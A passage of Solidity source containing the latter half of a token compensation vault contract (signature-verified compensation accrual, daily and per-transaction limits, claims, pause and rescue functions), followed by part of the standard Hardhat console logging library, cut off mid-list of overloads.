LIMIT_PER_DAY = uint128(_LIMIT_PER_DAY);
_initialized0 = true;
}
function updateLimits(uint256 _LIMIT_PER_TX, uint256 _LIMIT_PER_DAY) external onlyOwner {
LIMIT_PER_TX = uint128(_LIMIT_PER_TX);
LIMIT_PER_DAY = uint128(_LIMIT_PER_DAY);
emit LimitsUpdated(_LIMIT_PER_TX, _LIMIT_PER_DAY);
}
function reset(
uint256 _START_TIME,
uint256 _MAX_RUNNING_DAYS,
uint256 _TOTAL_ALLOCATED,
uint256 _LIMIT_PER_TX,
uint256 _LIMIT_PER_DAY
) public onlyOwner whenPaused {
START_TIME = uint64(_START_TIME);
MAX_RUNNING_DAYS = uint64(_MAX_RUNNING_DAYS);
TOTAL_ALLOCATED = uint128(_TOTAL_ALLOCATED);
LIMIT_PER_TX = uint128(_LIMIT_PER_TX);
LIMIT_PER_DAY = uint128(_LIMIT_PER_DAY);
address _token = token;
uint256 _debt = debt;
uint256 _pastDebt = pastDebt;
uint256 totalDebt = _pastDebt.add(_debt);
// transfer remaining tokens
uint256 balance = IERC20(_token).balanceOf(address(this));
uint256 remainings = balance.sub(totalDebt);
debt = 0;
totalCompensation = 0;
pastDebt = uint128(totalDebt);
if (remainings > 0) TransferHelper.safeTransfer(_token, msg.sender, remainings);
TransferHelper.safeTransferFrom(_token, msg.sender, address(this), _TOTAL_ALLOCATED);
emit VaultReset(
_START_TIME,
_MAX_RUNNING_DAYS,
_TOTAL_ALLOCATED,
_LIMIT_PER_TX,
_LIMIT_PER_DAY,
remainings,
totalDebt
);
unpause();
}
function remainingCompensation() public view returns (uint256) {
return uint256(TOTAL_ALLOCATED).sub(totalCompensation);
}
function getDailyLimit() public view returns (uint256) {
uint256 _START_TIME = START_TIME;
uint256 _MAX_RUNNING_DAYS = MAX_RUNNING_DAYS;
uint256 _TOTAL_ALLOCATED = TOTAL_ALLOCATED;
uint256 _LIMIT_PER_DAY = LIMIT_PER_DAY;
if (block.timestamp < _START_TIME) return 0;
uint256 runningDays = (block.timestamp - _START_TIME) / 1 days + 1;
uint256 maxDailyLimit = runningDays >= _MAX_RUNNING_DAYS ? _TOTAL_ALLOCATED : _LIMIT_PER_DAY * runningDays;
uint256 dailyLimit = maxDailyLimit.sub(totalCompensation);
return dailyLimit;
}
/**
* @dev claim compensation tokens
*/
function claimCompensation() external returns (uint256) {
return _claimCompensation(msg.sender);
}
function _claimCompensation(address account) internal returns (uint256) {
uint256 compensation = compensations[account];
require(compensation > 0, "ICA"); // insufficient compensation amount error
compensations[account] = 0;
uint256 _debt = debt;
uint256 _pastDebt = pastDebt;
require(_debt.add(_pastDebt) >= compensation, "overflow? TBD");
if (_pastDebt > 0) {
if (_pastDebt > compensation) {
_pastDebt -= compensation;
} else {
uint256 diff = compensation - _pastDebt;
_pastDebt = 0;
_debt = _debt.sub(diff);
}
} else {
_debt = _debt.sub(compensation);
}
debt = uint128(_debt);
pastDebt = uint128(_pastDebt);
TransferHelper.safeTransfer(token, account, compensation);
emit CompensationClaimed(account, compensation);
return compensation;
}
function hashParams(CompensationParams calldata compensationParams) public pure returns (bytes32) {
bytes32 hash = keccak256(
abi.encodePacked(
compensationParams.deadline,
compensationParams.nonce,
compensationParams.vault,
compensationParams.quote,
compensationParams.targetQuote,
compensationParams.compensationAmount,
compensationParams.maker,
compensationParams.signer,
compensationParams.transferCompensation
)
);
return hash;
}
/**
* @dev add compensation token
*/
function addCompensation(uint256 amount1Out, CompensationParams calldata compensationParams)
external
onlyRouter(msg.sender)
onlySigner(compensationParams.signer)
{
require(compensationParams.vault == address(this), "VAE"); // vault address error
bytes32 hash = hashParams(compensationParams);
// check parameter signature
require(
ECDSA.recover(ECDSA.toEthSignedMessageHash(hash), compensationParams.signature) ==
compensationParams.signer,
"IS"
); // invalid signature error
uint256 flag = 0;
// set flag if paused
flag = (flag << 1) + (paused ? 1 : 0);
// set flag if not start yet
flag = (flag << 1) + (block.timestamp < START_TIME ? 1 : 0);
// set flag if our quote is better than target quote
flag = (flag << 1) + (compensationParams.targetQuote <= compensationParams.quote ? 1 : 0);
// set flag if execution price is better than target quote
flag = (flag << 1) + (compensationParams.targetQuote <= amount1Out ? 1 : 0);
// set flag if deadline exceeds
flag = (flag << 1) + (compensationParams.deadline <= block.timestamp ? 1 : 0);
// set flag if nonce is already used
flag = (flag << 1) + (nonces[compensationParams.nonce] ? 1 : 0);
if (flag > 0) {
emit CompensationAdded(compensationParams.maker, 0, flag);
return;
}
nonces[compensationParams.nonce] = true;
uint256 compensationAmount = compensationParams
.compensationAmount
.mul(compensationParams.targetQuote - amount1Out)
.div(compensationParams.targetQuote - compensationParams.quote);
compensationAmount = calcCompensationAmount(compensationAmount);
totalCompensation = uint128(uint256(totalCompensation).add(compensationAmount));
debt = uint128(uint256(debt).add(compensationAmount));
compensations[compensationParams.maker] = compensations[compensationParams.maker].add(compensationAmount);
emit CompensationAdded(compensationParams.maker, compensationAmount, 0);
if (compensationParams.transferCompensation) {
_claimCompensation(compensationParams.maker);
}
}
/**
* @dev calculate compensation amount wrt limits
*/
function calcCompensationAmount(uint256 compensationAmount) public view returns (uint256) {
return _min(_min(compensationAmount, remainingCompensation()), _min(LIMIT_PER_TX, getDailyLimit()));
}
function _min(uint256 a, uint256 b) private pure returns (uint256) {
return a > b ? b : a;
}
function setSigner(address account, bool value) external onlyOwner {
isSigner[account] = value;
emit SignerSet(account, value);
}
function setRouter(address account, bool value) external onlyOwner {
isRouter[account] = value;
emit RouterSet(account, value);
}
function chainID() public view returns (uint256) {
uint256 _chainID;
assembly {
_chainID := chainid()
}
console.log("solidity: _chainID", _chainID);
return _chainID;
}
// CIRCUIT BREAKER
function pause() external onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
function rescueTokens(address _token, uint256 _value) external onlyOwner whenPaused {
if (_token == address(0)) TransferHelper.safeTransferETH(msg.sender, _value);
else TransferHelper.safeTransfer(_token, msg.sender, _value);
}
function getCompensation(address account) external view returns (uint256) {
return compensations[account];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
